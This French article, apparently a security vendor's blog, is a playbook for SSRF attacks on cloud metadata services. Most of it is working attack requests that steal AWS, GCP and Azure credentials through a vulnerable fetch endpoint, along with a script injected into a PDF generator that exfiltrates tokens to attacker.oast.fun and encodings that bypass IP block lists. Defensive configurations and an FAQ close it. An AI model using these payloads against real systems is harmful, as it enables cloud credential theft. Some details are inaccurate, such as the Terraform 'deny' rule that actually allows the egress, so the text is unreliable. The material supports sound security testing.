SSRF ciblant les endpoints de métadonnées des fournisseurs cloud (169.254.169.254) pour voler des credentials IAM et la configuration des instances.
TL;DR
169.254.169.254 : endpoint link-local accessible uniquement depuis l'intérieur de l'instance — le SSRF est le seul chemin externeMetadata-Flavor: Google — l'injection CRLF contourne cette exigence168.63.129.16 : sans authentification, le port 32526 expose des credentials chiffrés169.254.169.254 mais contournent les filtres basés sur des chaînesLe SSRF de métadonnées cloud est la variante à l'impact le plus élevé de CWE-918. Chaque fournisseur cloud majeur — AWS, GCP, Azure, DigitalOcean, IBM, Oracle, Alibaba — expose un service HTTP de métadonnées à l'adresse link-local 169.254.169.254 (ou équivalent) accessible uniquement depuis l'intérieur de l'instance. Ce service fournit des données de configuration, d'identité et de credentials aux charges de travail en cours d'exécution sans nécessiter d'authentification.
Le SSRF est le seul chemin d'attaque externe vers cet endpoint. Une application s'exécutant sur EC2 qui effectue des requêtes HTTP côté serveur vers des URLs fournies par l'utilisateur peut être exploitée pour atteindre 169.254.169.254 depuis la perspective du serveur. Les credentials retournés sont temporaires (renouvelés toutes les ~6 heures) mais entièrement fonctionnels avec les permissions du rôle IAM attaché. En 2019, ce pattern a entraîné la brèche Capital One — 106 millions de dossiers, amende de 80M$.
| Fonctionnalité | IMDSv1 | IMDSv2 |
|---|---|---|
| Authentification | Aucune — GET uniquement | PUT pour obtenir le token de session d'abord |
| En-têtes requis | Aucun | X-aws-ec2-metadata-token-ttl-seconds sur PUT ; X-aws-ec2-metadata-token sur GET |
| X-Forwarded-For | Accepté | Automatiquement rejeté |
| Limite de sauts | Aucune | Par défaut 1 (bloque les requêtes conteneurisées sauf si relevée à 2) |
| Exploitabilité SSRF | Trivialement exploitable avec SSRF basique | Nécessite un SSRF multi-étapes ou injection d'en-têtes |
| Déploiement (2024) | 68 % des instances EC2 | 32 % des instances EC2 (appliqué) |
Date d'application d'IMDSv2 : octobre 2024, AWS a commencé à exiger IMDSv2 pour les nouveaux lancements d'instances via les paramètres par défaut, mais les instances existantes restent à IMDSv1 sauf si explicitement migrées.
# Étape 1 : Lister les rôles IAM disponibles (sans authentification requise)
curl "https://target.app/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Réponse : ISRM-WAF-Role
# Étape 2 : Récupérer les credentials pour le rôle
curl "https://target.app/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role"
# Réponse :
# {
# "Code": "Success",
# "LastUpdated": "2024-03-14T08:32:12Z",
# "Type": "AWS-HMAC",
# "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
# "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
# "Token": "AQoDYXdzEJr...",
# "Expiration": "2024-03-14T14:32:12Z"
# }
# Endpoints bonus à haute valeur
# Scripts bootstrap (contiennent souvent des secrets codés en dur)
curl "https://target.app/fetch?url=http://169.254.169.254/latest/user-data/"
# Identité d'instance (ID de compte, région, AMI)
curl "https://target.app/fetch?url=http://169.254.169.254/latest/dynamic/instance-identity/document"IMDSv2 exige un PUT avec l'en-tête X-aws-ec2-metadata-token-ttl-seconds. Quatre conditions de contournement :
Condition 1 — SSRF par injection d'en-têtes : si le SSRF permet de définir des en-têtes de requête arbitraires, exécuter le flux en deux étapes :
# Étape 1 : PUT pour obtenir le token (nécessite la capacité d'injection d'en-têtes)
session.put(
"http://169.254.169.254/latest/api/token",
headers={"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
)
token = response.text # ex. "AQAAAbbbccc..."
# Étape 2 : GET des métadonnées avec le token
session.get(
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
headers={"X-aws-ec2-metadata-token": token}
)Condition 2 — Générateur PDF navigateur sans tête : les générateurs PDF (wkhtmltopdf, Puppeteer, Headless Chrome) exécutent du JavaScript. Une page avec <script> peut exécuter la séquence IMDSv2 complète fetch() PUT+GET :
<!-- Injecté dans le template PDF -->
<script>
fetch('http://169.254.169.254/latest/api/token', {
method: 'PUT',
headers: {'X-aws-ec2-metadata-token-ttl-seconds': '21600'}
}).then(r => r.text()).then(token => {
return fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/', {
headers: {'X-aws-ec2-metadata-token': token}
});
}).then(r => r.text()).then(role => {
document.write('<img src="https://attacker.oast.fun/' + btoa(role) + '">');
});
</script>Condition 3 — Chaîne de redirection : le serveur de redirection émet le PUT, puis redirige vers l'URL GET. 307 Temporary Redirect préserve la méthode HTTP.
Condition 4 — Pivot SSRF-vers-SSRF : utiliser le SSRF initial pour atteindre un service interne (pattern Atlassian Confluence CVE-2019-8451) qui lui-même effectue des requêtes HTTP avec des en-têtes arbitraires.
ECS (Elastic Container Service) et Lambda utilisent un endpoint de credentials différent :
# ECS/Fargate — credentials à 169.254.170.2, pas 169.254.169.254
# Étape 1 : Lire l'environnement du processus pour obtenir le GUID des credentials
curl "https://target.app/fetch?url=file:///proc/self/environ"
# Chercher : AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/d8cb4e4c-f96e-4862-9a5f-...
# Étape 2 : Récupérer les credentials avec le GUID
curl "https://target.app/fetch?url=http://169.254.170.2/v2/credentials/d8cb4e4c-f96e-4862-9a5f-..."
# Retourne le même format JSON que l'IMDS EC2
# Lambda — les credentials sont directement dans les variables d'environnement du processus
curl "https://target.app/fetch?url=file:///proc/self/environ"
# Chercher : AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKENLa chaîne file:// + ECS est un SSRF en deux étapes : d'abord lire /proc/self/environ pour découvrir l'URL des credentials, puis la récupérer. Cela nécessite la capacité de smuggling de protocoles (voir Smuggling de protocoles SSRF).
# v1 — nécessite l'en-tête Metadata-Flavor: Google
# Sans l'en-tête, retourne : HTTP 403 Forbidden
curl "https://target.app/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"
# Retourne : {"access_token":"ya29.c...","expires_in":3600,"token_type":"Bearer"}
# Informations sur le projet et l'instance
curl "https://target.app/fetch?url=http://metadata.google.internal/computeMetadata/v1/project/project-id" \
-H "Metadata-Flavor: Google"
# IP alternative quand le DNS est bloqué
curl "https://target.app/fetch?url=http://169.254.169.254/computeMetadata/v1/" \
-H "Metadata-Flavor: Google"
# Contournement : v1beta1 sur les instances plus anciennes n'applique pas Metadata-Flavor
curl "https://target.app/fetch?url=http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token"L'exigence Metadata-Flavor: Google est contournée quand le SSRF permet également l'injection CRLF (pattern CVE-2025-6454) — injecter des en-têtes arbitraires dans la requête sortante satisfait l'exigence d'en-tête GCP. L'adresse IPv6 fd00:ec2::254 est un endpoint alternatif sur certaines instances GCP.
# Azure IMDS — nécessite l'en-tête Metadata: true
# Bloque automatiquement les requêtes contenant X-Forwarded-For
curl "https://target.app/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-12-13" \
-H "Metadata: true"
# Token d'identité managée (assignée au système)
curl "https://target.app/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
-H "Metadata: true"
# Azure WireServer — 168.63.129.16 — SANS authentification requise
curl "https://target.app/fetch?url=http://168.63.129.16/?comp=versions"
# Confirme l'environnement Azure
curl "https://target.app/fetch?url=http://168.63.129.16:32526/vmSettings"
# Retourne des commandes d'extension chiffrées — peut contenir des credentialsLa chaîne d'exploitation Azure WireServer (recherche CyberCX) :
http://168.63.129.16:32526/vmSettings — retourne des commandes d'extension chiffréeshttp://168.63.129.16/machine/?comp=goalstate — retourne les URLs de certificatsprotectedSettings — peut contenir des credentials en clair et l'historique des commandesWireServer (168.63.129.16) n'a pas d'authentification par défaut. Toute application s'exécutant en tant que root ou Administrateur sur une VM Azure peut l'interroger via SSRF. C'est distinct de l'endpoint IMDS 169.254.169.254 — les défenses IMDS standard ne bloquent pas l'accès au WireServer.
# DigitalOcean — aucun en-tête spécial requis
http://169.254.169.254/metadata/v1.json # métadonnées JSON complètes
http://169.254.169.254/metadata/v1/user-data # scripts cloud-init
# Alibaba Cloud — IP distincte
http://100.100.100.200/latest/meta-data/
# Oracle Cloud
http://169.254.169.254/opc/v2/ # nécessite : Authorization: Bearer Oracle
# IBM Cloud — même plage link-local
http://169.254.169.254/metadata/v1/Les listes de blocage basées sur des chaînes vérifiant la forme quad-pointée canonique sont contournées par des encodages alternatifs :
# Tous ces chemins atteignent 169.254.169.254
DWORD décimal : http://2852039166/latest/meta-data/
Hex unique : http://0xA9FEA9FE/latest/meta-data/
Octal par octet : http://0251.0376.0251.0376/latest/meta-data/
Encodage mixte : http://0xA9.0376.169.254/latest/meta-data/
IPv6 mappé : http://[::ffff:169.254.169.254]/latest/meta-data/
IPv6 mappé hex : http://[::ffff:a9fe:a9fe]/latest/meta-data/
Chaîne redirection : https://302.r3dir.me/?r=http://169.254.169.254/latest/meta-data/Capital One 2019 — La brèche cloud SSRF la plus grave. Un WAF (basé sur Modsecurity) sur EC2 avec un rôle IAM sur-privilégié avait une vulnérabilité SSRF. Séquence d'attaque : SSRF vers 169.254.169.254 → nom du rôle ISRM-WAF-Role → credentials temporaires → appels API AWS → 700+ buckets S3 → 30 Go exfiltrés. Impact : 100 millions de dossiers américains et 6 millions de dossiers canadiens. Pénalités : amende OCC de 80M$, règlement collectif de 190M$, Paige Thompson, ancienne contractante AWS, a été condamnée pour fraude informatique et fraude par fil (juin 2022, peine prononcée en 2022 puis réajustée en 2023). L'attaque a fonctionné parce qu'IMDSv1 ne nécessitait aucune authentification et que le rôle IAM avait des permissions S3 excessives.
CVE-2025-4123 — Grafana Image Renderer (CVSS 7.6) — Le path traversal de Grafana combiné à une redirection ouverte créait un SSRF à lecture complète quand le plugin Grafana Image Renderer était installé. Le renderer récupère les URLs côté serveur pour la génération de captures d'écran. Une URL contrôlée par l'attaquant redirigait le renderer vers http://169.254.169.254/latest/meta-data/iam/security-credentials/. Un tiers de toutes les instances Grafana était estimé vulnérable à la divulgation (mai 2025).
Campagne GCP UNC2903 (Mandiant 2024) — Des acteurs étatiques ciblaient des charges de travail exposées sur internet avec des vulnérabilités SSRF spécifiquement pour atteindre http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token. Les tokens de comptes de service extraits permettaient le mouvement latéral au sein des projets GCP. La campagne a démontré que les endpoints de métadonnées cloud sont des cibles actives dans les opérations de menaces avancées.
http://169.254.169.254/latest/meta-data/ — si la réponse contient ami-id, hostname ou iam/, le SSRF vers AWS IMDS est confirmé.http://2852039166/, http://[::ffff:a9fe:a9fe]/, https://302.r3dir.me/?r=http://169.254.169.254/.http://metadata.google.internal/computeMetadata/v1beta1/ (pas d'en-tête requis sur le legacy).http://168.63.129.16/?comp=versions.:3000/api/health), Docker API (:2375/version), etcd (:2379/health), Elasticsearch (:9200/), Prometheus (:9090/api/v1/targets).BreachVex sonde les services internes courants — tableaux de bord de monitoring, APIs de conteneurs et datastores d'orchestration — avec confirmation basée sur des marqueurs : un sondage Grafana exige des marqueurs d'identité tels que ami-id, AccessKeyId ou instance-id ; un sondage Docker API exige ApiVersion, GoVersion ou GitCommit ; un sondage etcd exige "health":"true" ou etcd. Des seuils minimaux de marqueurs préviennent les faux positifs liés aux réponses JSON génériques.
# Appliquer IMDSv2 sur une instance spécifique
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1
# Vérifier toutes les instances pour l'exposition IMDSv1
aws ec2 describe-instances \
--query "Reservations[].Instances[?MetadataOptions.HttpTokens=='optional'].{ID:InstanceId,State:State.Name}" \
--output table
# GCP — désactiver les endpoints legacy
gcloud compute instances add-metadata INSTANCE_NAME \
--metadata disable-legacy-endpoints=true
# GCP — vérifier la politique d'accès aux métadonnées
gcloud compute project-info describe --format="value(commonInstanceMetadata.items)"# Terraform — AWS Security Group : bloquer l'egress sortant vers IMDS et WireServer
resource "aws_security_group_rule" "deny_imds_egress" {
type = "egress"
protocol = "tcp"
from_port = 80
to_port = 80
cidr_blocks = ["169.254.169.254/32", "169.254.170.2/32"]
security_group_id = aws_security_group.app.id
}# NetworkPolicy Kubernetes — bloquer l'accès des pods à IMDS
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-metadata-access
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
- 168.63.129.16/32 # Azure WireServer
- 100.100.100.200/32 # AlibabaAppliquer IMDSv2 au niveau de l'instance est nécessaire mais pas suffisant. Les défenses au niveau applicatif (liste d'autorisation d'URL + validation IP post-résolution DNS) doivent également être en place. Un attaquant disposant d'un SSRF permettant des en-têtes HTTP personnalisés peut toujours contourner IMDSv2 en exécutant la séquence PUT+GET via l'application vulnérable.
Les fournisseurs cloud exposent un service HTTP link-local à 169.254.169.254 (AWS, Azure, GCP, DigitalOcean) accessible uniquement depuis l'intérieur de l'instance. Sur AWS avec IMDSv1, aucune authentification n'est requise — une seule requête GET retourne des credentials IAM temporaires valides pendant ~6 heures. Le SSRF est le seul chemin d'attaque externe vers cet endpoint.
IMDSv1 ne nécessite qu'une requête GET — pas d'authentification, pas de token de session. IMDSv2 exige une requête PUT avec l'en-tête X-aws-ec2-metadata-token-ttl-seconds pour obtenir un token de session d'abord, puis utilise ce token sur les requêtes suivantes. IMDSv2 rejette également les requêtes contenant X-Forwarded-For et applique une limite de sauts de 1. Fin 2024, seulement 32 % des instances EC2 appliquent IMDSv2.
IMDSv2 est contournable quand le SSRF permet des en-têtes HTTP personnalisés (permettant la séquence PUT+GET), quand un navigateur sans tête (Puppeteer, wkhtmltopdf) exécute le flux JavaScript fetch() IMDSv2, quand une chaîne de redirection émet le PUT et redirige vers l'URL GET, ou quand l'application agit comme proxy pour des méthodes HTTP arbitraires.
Les métadonnées GCP se trouvent à http://metadata.google.internal/computeMetadata/v1/ ou http://169.254.169.254/computeMetadata/v1/. L'en-tête Metadata-Flavor: Google est requis pour v1 — sans lui, la requête retourne 403. Les endpoints v1beta1 plus anciens sur certaines instances n'appliquent pas l'en-tête. GCP rejette également les requêtes contenant X-Forwarded-For.
L'Azure WireServer à 168.63.129.16 (une IP distincte de 169.254.169.254) fournit des données d'extension VM sans authentification requise. Le port 32526 expose vmSettings qui peut contenir des commandes d'extension chiffrées incluant des credentials et l'historique des commandes. La recherche CyberCX a démontré une chaîne : interroger vmSettings → obtenir les URLs de certificats → déchiffrer protectedSettings → récupérer des credentials en clair.
Un produit WAF sur EC2 avec un rôle IAM sur-privilégié avait une vulnérabilité SSRF. L'attaquant a interrogé http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role, obtenu des credentials AWS temporaires, énuméré 700+ buckets S3 et exfiltré 30 Go de données affectant 106 millions de clients. L'amende OCC de 80M$ reste l'une des plus importantes pour une brèche de sécurité cloud.
Contournements courants : DWORD décimal 2852039166, hexadécimal 0xA9FEA9FE, octal 0251.0376.0251.0376, IPv6 mappé [::ffff:169.254.169.254], IPv6 hexadécimal [::ffff:a9fe:a9fe]. Tous résolvent vers 169.254.169.254 mais ne sont pas correspondus par les listes de blocage basées sur des chaînes vérifiant la forme quad-pointée canonique.
UNC2903 (Mandiant/Google Cloud Threat Intelligence) a ciblé des charges de travail exposées sur internet avec des vulnérabilités SSRF spécifiquement pour atteindre les endpoints de métadonnées GCP. La campagne a extrait des tokens OAuth et des tokens de comptes de service, puis les a utilisés pour le mouvement latéral au sein des projets GCP — démontrant que le SSRF de métadonnées cloud est activement utilisé comme arme par des acteurs étatiques.
Activer l'application de l'en-tête Metadata-Flavor pour metadata.google.internal (déjà actif pour v1). Désactiver l'accès aux endpoints legacy : gcloud compute instances add-metadata INSTANCE_NAME --metadata disable-legacy-endpoints=true. Utiliser Workload Identity au lieu des clés de compte de service. Appliquer les contrôles de service VPC pour restreindre l'accès aux métadonnées.